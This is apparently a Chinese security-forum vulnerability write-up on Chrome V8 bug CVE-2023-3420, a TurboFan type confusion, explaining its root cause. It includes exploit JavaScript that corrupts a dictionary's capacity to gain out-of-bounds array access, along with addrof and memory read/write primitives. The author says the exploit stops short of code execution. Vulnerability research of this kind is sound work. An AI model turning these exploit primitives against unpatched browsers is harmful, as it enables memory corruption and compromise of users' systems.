首页
社区
课程
招聘
chrome v8漏洞CVE-2023-3420浅析
发表于: 2024-5-15 17:15 3855

chrome v8漏洞CVE-2023-3420浅析

2024-5-15 17:15
3855

chrome v8漏洞CVE-2023-3420浅析

作者: coolboy

前言

CVE-2023-3420 是产生在v8 TurboFun模块的类型混淆漏洞。TurboFun模块对代码的优化:在优化代码中假定入参具有某种类型,比如int arr。优化代码将不再检查传入的参数是否确实为int arr,而直接按照int arr的类型对参数进行操作,从而大幅度提高运行效率。漏洞的产生原因是,有一种不应该存在的方法修改了入参了对象,且绕过了TurboFun的检查,导致优化代码没有被解优化,入参被修改为另外一种类型,比如double arr。而优化代码采用int arr的类型去访问double arr,造成了类型混淆。从而引发了漏洞。文章分析了漏洞成因、原理以及POC细节。这是一个系列文章,本文是第三篇。

POC

编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
 
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 11.4.183.19
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
 
./out/x64.release/d8 --help

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
let length = 10000;
var padding = 40;
 
var arr = new Array(length);
arr.fill(0);
function func() {
  return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];
}
for (let i = 0; i < 5000; i++) func(0);
 
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);
 
function ftoi32(f) {
    dblArr[0] = f;
    return [intView[0], intView[1]];
}
 
function i32tof(i1, i2) {
    intView[0] = i1;
    intView[1] = i2;
    return dblArr[0];
}
 
function itof(i) {
    bigIntView = BigInt(i);
    return dblArr[0];
}
 
function ftoi(f) {
    dblArr[0] = f;
    return bigIntView[0];
}
 
var oobObjArr = [view];
oobObjArr[0] = 1;
var oobDblArr = [2.2];
var corrupted_arr = [1.1];
 
var corrupted = {a : corrupted_arr};
var obj0 = {px : {x : 1}};
var str0 = 'aaa';
 
function tc(x) {
  var obj = x.p1.px;
  obj.x = 100;
  return x.p1.px.x;
}
 
function foo2(obj, proto, x,y) {
  obj.obj = proto;
  var z = 0;
  for (let i = 0; i < 1; i++) {
    for (let j = 0; j < x; j++) {
      for (let k = 0; k < x; k++) {
        z = y[k];
      }
    }
 
  }
  proto.b = 33;
  return z;
}
 
class B {}
B.prototype.a = 1;
B.prototype.a = 2;
B.prototype.b = 1;
 
function bar(x) {
  return x instanceof B;
}
var args = {obj: B.prototype};
foo2(args, B.prototype, 20, arr);
for (let i = 0; i < 5000; i++) {
  foo2(args, B.prototype, 10, arr);
}
bar({a : 1});
for (let i = 0; i < 5000; i++) {
  bar({b : 1});
}
console.log('========= pre');
%DebugPrint(B.prototype);
foo2(args, B.prototype, length, arr);
console.log('========= after');
%DebugPrint(B.prototype);
 
var z = B.prototype;
var arr3 = new Array(padding);
arr3.fill(1);
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
for (let i = 0; i < 20000; i++) {
  tc(obj1);
}
 
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});
 
tc(obj1);
 
var oobOffset = 4;
 
function addrof(obj) {
  oobObjArr[0] = obj;
  var addrDbl = corrupted_arr[oobOffset];
  return ftoi32(addrDbl)[0];
}
 
function read(addr) {
  var old_value = corrupted_arr[oobOffset];
  corrupted_arr[oobOffset] = i32tof(addr,2);
  var oldAddr = ftoi32(old_value);
  var out = ftoi32(oobDblArr[0]);
  corrupted_arr[oobOffset] = old_value;
  return out;
}
 
function write(addr, val1, val2) {
  var old_value = corrupted_arr[oobOffset];
  corrupted_arr[oobOffset] = i32tof(addr,2);
  oobDblArr[0] = i32tof(val1, val2);
  corrupted_arr[oobOffset] = old_value;
  return;
}
 
var funcAddr = addrof(func);
console.log("func address: " + funcAddr.toString(16));

./out/x64.release/d8 --allow-natives-syntax --trace-deopt 'poc.js' 将得到func函数地址,此POC不完整,不能拿到shell,需要发现新的堆风水布局才能完成漏洞利用,后面有详细解释。

func address: 11bc45

漏洞成因分析

背景1 TurboFan


Chrome v8 引擎中的jit编译器称为TurboFan。javascript将根据使用频率进行优化。当函数首次运行时,解释器(ignition)将会生成字节码。
当采用不同输入调用该函数时,turbofan会收集这些输入带来的反馈,比如它们的类型(int或者对象等)。当运行次数足够多以后,turbofan将采用这些反馈来做出假设优化函数,生成优化代码。之后的执行,将不再是字节码,而是执行优化后的代码。当函数的假设不再正确的时候,例如对象类型或者值发生变化,turbofan将对函数进行解优化,再次执行函数时将执行字节码,而非优化代码。

背景2 编译依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
// test.js
var a = {x : 1};
 
function foo(obj) {
  var y = obj.x;
  return y;
}
%PrepareFunctionForOptimization(foo);
foo(a);
%OptimizeFunctionOnNextCall(foo);
foo(a);
//Invalidates the optimized code
a.x = 2;

使用下面命令执行test.js:

./out/x64.release/d8 --allow-natives-syntax --trace-deopt test.js

将得到结果:

[marking dependent code 0x1d2d0011af41 <Code TURBOFAN> (0x1d2d0011ab7d <SharedFunctionInfo foo>) (opt id 0) for deoptimization, reason: code dependencies]

PrepareFunctionForOptimization 和 OptimizeFunctionOnNextCall 为v8内置函数,作用是将foo进行优化。优化时,将假设foo的函数始终返回1。当a.x被赋值为2时,假设不再成立,于是触发解优化操作。--trace-deopt 命令行选项可以打印解优化的情况,如上所示。解优化之后,在调用foo,将执行字节码操作。

编译依赖在底层是通过CompilationDependency实现的,路径:v8/src/compiler/compilation-dependencies.cc,它有三个虚函数,分别为IsValid,PrepareInstall和Install,子类可以继承修改这三个函数。IsValid 方法会检查假设是否有效,同时install建立一种机制,当假设发生变化时触发解优化。

漏洞成因

CompilationDependency的子类PrototypePropertyDependency重写了PrepareInstall方法,如下:

1
2
3
4
5
void PrepareInstall(JSHeapBroker* broker) const override {
    SLOW_DCHECK(IsValid(broker));
    Handle<JSFunction> function = function_.object();
    if (!function->has_initial_map()) JSFunction::EnsureHasInitialMap(function);
}

该方法调用了JSFunction::EnsureHasInitialMap函数,JSFunction::EnsureHasInitialMap会调用JSFunction::SetInitialMap函数。JSFunction::SetInitialMap函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void JSFunction::SetInitialMap(Isolate* isolate, Handle<JSFunction> function,
                               Handle<Map> map, Handle<HeapObject> prototype,
                               Handle<HeapObject> constructor) {
  if (map->prototype() != *prototype) {
    Map::SetPrototype(isolate, map, prototype);
  }
  DCHECK_IMPLIES(!constructor->IsJSFunction(), map->InSharedHeap());
  map->SetConstructor(*constructor);
  function->set_prototype_or_initial_map(*map, kReleaseStore);
  if (v8_flags.log_maps) {
    LOG(isolate, MapEvent("InitialMap", Handle<Map>(), map, "",
                          SharedFunctionInfo::DebugName(
                              isolate, handle(function->shared(), isolate))));
  }
}

Map::SetPrototype(isolate, map, prototype); 这行代码将修改对象的类型,将"fast"对象修改为"dictionary"对象。综上,假如一个函数它的优化的假设依赖PrototypePropertyDependency,当PrototypePropertyDependency的PrepareInstall被调用时,该对象的类型将被改变,从"fast"修改为"dictionary"。而这个改变过程属于Turbofan优化编译本身,将无法触发解优化。从而实现了对象实际类型和优化代码里面的类型不一致,导致了类型混淆。

POC详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class B {}
B.prototype.a = 2;
B.prototype.b = 1;
 
function foo2(obj, proto, x,y) {
  obj.obj = proto;
  var z = 0;
  for (let i = 0; i < 1; i++) {
    for (let j = 0; j < x; j++) {
      for (let k = 0; k < x; k++) {
        z = y[k];
      }
    }
  }
  proto.b = 33;
  return z;
}
 
foo2(args, B.prototype, 20, arr);
for (let i = 0; i < 5000; i++) {
  foo2(args, B.prototype, 10, arr);
}

这段代码将优化foo2,假设B.prototype类型为"fast"对象。

1
2
3
4
5
6
7
function bar(x) {
  return x instanceof B;
}
for (let i = 0; i < 5000; i++) {
  bar({b : 1});
}
foo2(args, B.prototype, length, arr);

执行这段代码将优化bar函数,而bar函数的优化将依赖于PrototypePropertyDependency。PrototypePropertyDependency对象的PreInstall的函数将被加入到任务列表里面,在合适的时机调用它。这个合适的时机是StackGuard节点。StackGuard节点会在for循环中产生。于是在优化bar之后,紧接着调用foo2。foo2中有一个比较长的for循环,里面有StackGuard节点。再回过头看foo2代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// foo2优化时机在bar之前,所以当调用foo2(args, B.prototype, length, arr);时,foo2已经优化,假设proto即B.prototype类型为"fast"对象。
function foo2(obj, proto, x,y) {
  obj.obj = proto;
  var z = 0;
  // 此时B.prototype类型为"fast"对象
  for (let i = 0; i < 1; i++) {
    // 当执行for循环时,StackGuard节点被执行,它将调用bar优化依赖的PrototypePropertyDependency的PreInstall函数。而PreInstall函数将B.prototype类型从"fast"修改为"dictionary"
    for (let j = 0; j < x; j++) {
      for (let k = 0; k < x; k++) {
        z = y[k];
      }
    }
  }
  // 此时B.prototype类型为"dictionary"对象
 
  // foo2假设proto为"fast",实际为"dictionary"。proto.b将发生类型混淆,实际将dictionary的capacity修改为33
  proto.b = 33;
  return z;
}
1
2
3
4
5
6
7
console.log('========= pre');
%DebugPrint(B.prototype);
 
foo2(args, B.prototype, length, arr);
 
console.log('========= after');
%DebugPrint(B.prototype);

做个实验,在foo2调用前后用DebugPrint打印B.prototype信息,得到结果如下:

========= pre
DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE]
 - map: 0x1ae00011c979 <Map[12](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1>
 - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1ae00018adb1 <PropertyArray[4]>
...

========= after
DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE]
 - map: 0x1ae00011d349 <Map[12](HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1>
 - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1ae0001aa6f9 <NameDictionary[30]>
 ...

可以看到,确实调用foo2前为FastProperties,调用后为DictionaryProperties。它们的实现分别为PropertyArray和NameDictionary。内存结构如下图:

可见,当优化代码修改为"fast"的b属性时,实际修改的"dictionary"的capacity属性。"proto.b = 33" 将capacity属性修改33。33为2的5次方加上1。当capacity的值满足2的n次方加1的时候,对dictionary的访问,将总是访问最后一个对象。因此有了下面代码:

1
2
3
4
5
6
7
8
9
10
11
class B {}
B.prototype.a = 1;
B.prototype.a = 2;
B.prototype.b = 1;
 
var z = B.prototype;
var arr3 = new Array(padding);
arr3.fill(1);
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
 
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});

dictionary的子项的存储是通过(key, value, attribute)三元组进行的。这是为什么obj1也长这样。至于为什么位于B之后,中间还有padding,是因为原本B只有a,b两个元素,长度被修改33之后,往后发生了越界,最后一个元素刚好位于obj1所在的内存。"Object.defineProperty"操作长度修改后的最后一个元素,变相修改了obj1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var corrupted_arr = [1.1];
var corrupted = {a : corrupted_arr};
var obj0 = {px : {x : 1}};
var str0 = 'aaa';
 
function tc(x) {
  var obj = x.p1.px;
  obj.x = 100;
  return x.p1.px.x;
}
 
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
for (let i = 0; i < 20000; i++) {
  tc(obj1);
}
 
// 此时obj1.p1.px为 {x : 1}
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});
 
// 此时obj1.p1.px为 [1.1]。tc中仍然假设obj1为{x : 1}
tc(obj1);

{x : 1} 和 [1.1] 内存如下图:

类型混淆后在执行tc(obj1), obj.x=100,将修改数组长度,从1变为100,这将导致越界读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var oobObjArr = [view];
oobObjArr[0] = 1;
var oobDblArr = [2.2];
var corrupted_arr = [1.1];
 
var oobOffset = 4;
 
function addrof(obj) {
  oobObjArr[0] = obj;
  var addrDbl = corrupted_arr[oobOffset];
  return ftoi32(addrDbl)[0];
}
 
var funcAddr = addrof(func);

这样的申明顺序,将oobDblArr和oobObjArr的数组内存安排在了corrupted_arr数组内存之后,可以实现越界读写。oobObjArr[0]赋值为对象,那么对象的内存地址,就可以由corrupted_arr这个double arr通过越界读出来,corrupted_arr[4]中存放的就是func的地址。到这里便实现了对象地址读。

如果将js 数组对象的element指针地址放置在corrupted_arr数组之后,通过越界读写,就可以改变js 数组指向的内存,通过修改之后的js 数组,便可以实现任意地址读写。参考chrome v8漏洞CVE-2021-30632浅析的POC。

当前漏洞,由于bar函数优化的原因,内存布局一直没能实现js 数组对象的element指针地址放置在corrupted_arr数组之后,而是在它之前,无法实现越界读写。去掉bar函数优化则可以实现上述堆风水。但去掉bar优化就无法触发漏洞,因此还需要找到另外一种堆风水来利用此漏洞。POC漏洞发现者提供的POC是阉割版,甚至无法复现对象地址读。留个坑,以后来填。

启发

这个漏洞是如何发现的呢?Fuzz? Code review?欢迎讨论。

参考

Getting RCE in Chrome with incorrect side effect in the JIT compiler

加群讨论V8漏洞


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//